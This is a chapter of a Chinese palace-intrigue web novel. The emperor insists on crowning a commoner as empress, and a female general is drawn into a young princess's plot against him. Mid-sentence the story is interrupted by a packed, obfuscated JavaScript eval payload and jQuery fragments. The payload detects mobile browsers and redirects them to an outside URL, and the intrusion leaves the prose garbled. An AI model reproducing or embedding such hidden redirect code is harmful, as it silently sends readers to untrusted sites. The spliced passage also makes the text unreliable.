94. 第 94 章

作品:《恶毒女和白月光都是我

    裴慎觉得,这辈子有记忆以来,从来没有那个时候,像最近这段日子一样开心过。


    权利在手,爱人在侧,这世间最痛快之事,也莫过如此吧。


    裴慎答应了姜小鱼,开春之际,他就要为她举办封后大礼,礼部早就接到命令,提前开始着手准备。


    但实则这番准备也并不顺利,毕竟裴慎要迎娶的女子不是世家女,只是一个从南州而来,来历不明的女子,他们如何能同意。


    于是在大雪纷飞之际,朝臣请柬,在宫门口跪了一排又一排。


    裴慎若是能被这样的行为要挟,那他就不是裴慎。


    那些朝臣怀的什么心思,裴慎又不是猜不出来。


    所谓的觉得姜小鱼来历不明,不过是觉得她一个南州女子,身份不如他们的女儿高贵。觉得一个平民女子,能踏足京城已经是她可望而不可即,能成为一个普通妃子就已经是祖坟冒青烟,但是却成为母仪天下的大启皇后,这让他们心中如何能平衡。


    进谏?说得好听,不过都是为了他们自己的私心罢了。


    裴慎不加理会,让刘兴传话,这个皇后,是他认定的,谁也改变不了。他们爱跪多久就跪多久,若是真的冻死在宫门口,他自会命人收尸。


    进谏的朝臣见裴慎如此坚决,个别臣子心中虽有不甘,却也无可奈何。


    原本聚集的数十人,在第三五日的时候,队伍越来越少。询问原因,当然不会说算了,居然巧了都是统一的借口,着凉染了风寒。


    到了最后,进谏的人群终于作罢,只能认下紫极宫那位未来皇后。


    眼下有陛下宠着爱着,那个女人可以荣登皇后宝座,可是这也不过是陛下的新鲜感作怪吧,待过了一年半载,一个民间女子,谈吐见识都和陛下不对等,陛下自然也就没了兴致。


    到时候大开选秀,她一个在京城无权无势之人,空有皇后名头,又能如何呢?


    左不过就是让那个神秘女人先占了帝王发妻的名头,但是笑到最后才是赢家。他们的女儿进宫后,就算成为继后,也是尊贵!


    朝臣们这般想着,终于不在执着反对,纷纷默认了紫极宫那位的身份。


    而这发生的一切,姜小鱼丝毫不知情。


    冬去春来,眼看就要到裴慎为姜小鱼册封的日子,这一日,展新月终于忍不住前来求见。


    裴慎在龙居宫见了她,展新月恪守君臣,从容地关系行了礼。


    “不知展爱卿有何事求见?”裴慎问。


    展新月听闻此话,毫不避讳的抬头正视裴慎,随后从袖中拿出早已准备好的圣旨呈了上去。


    裴慎冷笑:“展爱卿这是何意?”


    展新月道:“听闻陛下数月前在护国寺修行,但实则是微服前去南州,回京时带回一个女子,对这个女子视若珍宝,如今还要册封其为皇后。”


    裴慎看着展新月,对于她揭穿自己护国寺修行是谎言一事并不觉得有什么。


    “那又如何?”


    “陛下对护国公主之情谊还犹如在耳,这才短短一年时间,陛下就放下旧爱寻得新欢,可见陛下对护国公主之情,也不过如此!”


    展新月如此犯上直言,但凡皇帝换一个人,只怕展新月早就被问罪。


    可是裴慎还是没有动怒,倒不是他耐心好,而是看在展将军还在为他镇守边关,外加曾经姜小鱼也很看重展新月。


    他不知道姜小鱼为什么不能持续以宋昭颜的身份推行女学,而是选择假死。


    但是他知道,姜小鱼一定不会希望这件事情中断。且女学之事进行的很不错,展新月接手之后,做的也毫无错处。虽然形成了一定的强势势力,但也动不了大启根基,所以裴慎没有撤了她的职。


    若是没有这些原因,以先前展新月暗中的手脚,裴慎早就动手了。


    “这件事情,是朕的私事,与展爱卿无关!”


    确实无关,即便展新月四宋昭颜的好友,但是宋昭颜已经死了,裴慎要娶谁,都是他的自由。


    且他身为帝王,未来后宫妃嫔如云,谁又能说些什么呢?


    展新月这般阻止,旁人怕是都会说闲话,说她仗着曾经和裴慎有过青梅竹马之谊,爱慕裴慎,奈何身为女子言行举止却和男子一般,不得裴慎喜欢,所以嫉妒他后宫的女人。


    展新月不怕谣言,可是想到可能会和裴慎牵扯上这样的谣言,就觉得恶心。


    “确实与微臣无关,微臣僭越,先行告退!”


    说完,展新月头也不回的走了。


    看着展新月远去的背影,裴慎也没有多想。


    看在展新月也是为旧友打抱不平的份儿上,裴慎想,还是算了,不和她计较了。


    不过他不打算告诉展新月,未来皇后的身份,即便册封大礼上,众朝臣都会看到皇后的样子。


    那又怎样?护国公主早已经身死,这件事情是天下皆知的,如今尸首已经入了皇陵。


    现在他的皇后,只是一个和护国公主长相相似的女子而已。


    想到姜小鱼,裴慎脸上露出少见的微笑,快步朝着紫极宫而去。


    展新月怀着满腔怒意回到展府,管家立刻前来禀报,说是有贵客在等候。


    展新月顿步沉思一番,似乎想到了什么,对着管家道:“将人请去书房!”


    书房内,展新月才刚刚将圣旨收好,就听见了敲门声。


    管家领着那位贵客入内后便出了门,重新把门关好。


    展新月负手而立,看着眼前这位戴着帷帽,身高比她矮许多的贵客,脸上看不出任何表情。


    “看展将军的样子,今日进宫,是没有得到想要的答案了!”


    开口是个少女的声音,带着几分俏皮,但更多的,是讥笑。


    “我说的没错吧,不——是曾经的护国公主高瞻远瞩!男子当道,我们女子哪里有容身之处,幸好她为我们博得一线生机。


    你看到他的薄情寡性了!先前做的多深情,不过是因为他杀了护国公主,怕失了民心,所以才故作姿态!


    现在才过去多久,觉得百姓们都忘记了,就开始恢复真实面目了。


    他身边会美女如云,会子孙满堂,而宋昭颜,已然成为他的踏脚石。


    如今女学之事如星星之火燎原,已经形成一定势力。可是继续下去,男子当权的那群人一定会开始忌惮,届时将我们重新摁下去,可就没有希望了!”


    少女声音带着无尽的蛊惑,似乎想要拉拢展新月,与她达成什么合作。


    而展新月在听完眼前女子的话,毫无波动的神色终于露出一抹冷笑。


    她挑眉道:“先前来我府上好几次,都还只是旁敲侧击的表示,今日说了这么多,看来你是真的沉不住气了。不过想来也是,你忍得也够久了,忍到所有人都忽视了你的存在,也确实不容易。


    说了那么多,好像于公于私,都是觉得裴慎不该继续待在那个位置。可是他没有子嗣,就算死了,也是从宗室之中挑选。


    那不知道阁下觉得,如今宗室之中,谁能挑的起这个胆子?


    还是说,阁下觉得自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359040|175522||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己可以上位,坐上那至尊之位吗?


    锦荣郡主?”


    展新月说完,目光如炬看向戴着帷帽的少女。


    而少女听到这个称呼,沉默许久,也终于不再隐藏身份,抬起素手,摘下了头上的帷帽,露出了那张精致,却完全展现野心的脸。


    在一个十二三岁的少女脸上出现这样的表情,简直格格不入,可是即便她隐藏了那些野心,稍微有点儿阅历之人,都能轻而易举的看穿她眼中的算计。


    展新月看得出,若是站在裴慎面前,裴锦荣的这些算计更是不够看。


    可是也算是裴锦荣幸运,裴慎从来没料想到她会有这样的野心,所以何谈对她设防。


    十二三岁,和当初住进朝阳宫的裴慎,是一样的年纪,但是这个年纪,对于皇室成员来说,已经不是不谙世事的孩子了。


    可是生母去世,生父的太子之位被废,祖母的皇后之位也被废了,唯一能指望的祖父,对她也不闻不问。


    有助力的赵家和夏家都被问罪,无人相助之下,裴锦荣想活着,便只能披荆斩棘!


    她原本以为,自己的一生也该是被困在深宫之中,没什么指望的。


    可是——可是宋昭颜推行了女学,即便困难重重,也将此事推崇起来,加上她推行的其他利民政策,使得大启子民授意,宋昭颜的女学政策大获民心。


    宋昭颜一个毫无皇室血统的养女,也滋生了不该有的野心,赶走裴慎去边境,妄图坐上那至尊之位。


    那她身为皇室成员,理当比宋昭颜更有资格!尤其是,她的生父曾经是大启的太子,众人认定的储君。她做为太子唯一的女儿,理所当然尊贵无比!


    太子被废,都是宋昭颜和裴慎的算计!


    等她上位,必会为赵家和夏家平反!


    裴锦荣觉得,还应该多谢宋昭颜的政策,多谢宋昭颜为她做嫁衣!


    待她上位,没准儿心情一好,还会为宋昭颜美名几句。


    裴锦荣见自己说了这么多,展新月没有什么反应,心里多少有些没底。


    她稳住神色继续开口:“难道展将军就甘心,未来女学遭到打压吗?”


    展新月抬眸,看着裴锦荣,再次露出一抹不屑的笑容。


    “废太子和太子妃曾经想算计我,如今你却让我与你合作,无异于与虎谋皮,郡主不觉得有些可笑吗?”


    裴锦荣像是听到什么天大的笑话一般,突然捂着嘴笑了起来。


    被一个比自己小好几岁的少女嘲笑,展新月面色如常,没有丝毫窘迫之色,就这样静静地看着她。


    “本郡主不觉得可笑,本郡主只知道,敌人的敌人就是朋友,女子和女子之间,才是同盟!


    再说了,过去之事,或许是我父母有错,可他们已经付出生命的代价,展将军眼光该往前看才是,注重大局,先放下心中成见,共同对抗相同的敌人,不要本末倒置!”


    为了拉拢展新月,自己父母之事,都可以轻飘飘的揭过,展新月觉得,虽然现在看着裴锦荣确实不成气候,但是若多给她几年,没准儿还真的会成为裴慎棘手的对手。


    而裴锦荣不再忍耐,想来也是不能忍耐了吧。


    裴慎册封了皇后,有了子嗣,那可就更不好动了。


    所以现在,是最好的机会。


    “那不知郡主,可有什么好计划?”


    听到展新月这句话,裴锦荣明白,对方算是松口,有了合作之意,脸上终于露出灿烂的笑意。


    “尚有一计,正欲与展将军商议!”